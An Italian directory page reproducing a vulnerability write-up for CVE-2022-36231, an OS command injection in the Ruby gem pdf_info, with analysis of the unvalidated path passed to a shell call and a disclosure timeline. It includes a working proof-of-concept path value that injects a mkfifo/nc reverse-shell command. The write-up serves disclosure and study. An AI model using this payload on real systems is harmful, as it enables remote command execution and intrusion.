Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-36231 — pdf_info <= 0.5.3 Iniezione di Comandi del Sistema Operativo | Kitploit
Strumenti/GitHubGitHub/affix/cve-2022-36231
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlSviluppo Payload
GitHubaffix/cve-2022-36231

CVE-2022-36231

pdf_info <= 0.5.3 Iniezione di Comandi del Sistema Operativo

Vedi Repository
533 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-36231

La gemma Ruby pdf_info <= 0.5.3 è vulnerabile a OS Command Injection quando si esegue un metodo su un oggetto PDF::Info.

Un attaccante utilizzando un payload appositamente creato può eseguire comandi del sistema operativo utilizzando il concatenamento di comandi.

Analisi della vulnerabilità

Quando si crea un nuovo oggetto PDF::Info viene chiamato il metodo initialize

root@kitploit:~
def initialize(pdf_path)
  @pdf_path = pdf_path
end

Durante l'inizializzazione dell'oggetto non viene eseguita alcuna validazione e viene utilizzato il percorso fornito dall'utente.

Possiamo creare un oggetto PDF::Info e restituire i metadati di un PDF con quanto segue.

root@kitploit:~
#!/usr/bin/env ruby

require 'pdf/info'

info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata

Quando chiamiamo il metodo metadata sull'oggetto PDF::Info, viene effettuata una chiamata al metodo process_output con l'argomento passato che è il metodo command.

Il metodo command utilizza la variabile di classe @pdf_info per eseguire il comando pdfinfo sul sistema utilizzando il seguente frammento di codice per restituire l'output del comando.

root@kitploit:~
output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`

Come per il metodo initialize, non viene eseguita alcuna validazione sulla variabile @pdf_path. Questo ci consente di utilizzare il concatenamento di comandi con ; per eseguire un comando arbitrario.

root@kitploit:~
info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')

pp info.metadata

Il frammento di codice sopra riportato eseguirà una reverse shell verso 127.0.0.1 sulla porta 4444

Shell

Dettagli sulla divulgazione

  • 2022-07-20 :: Segnalato al fornitore
  • 2022-08-30 :: Follow-up con il fornitore
  • 2022-09-30 :: Richiesta CVE
  • 2022-10-26 :: Pubblicazione della vulnerabilità
Scarica lo strumento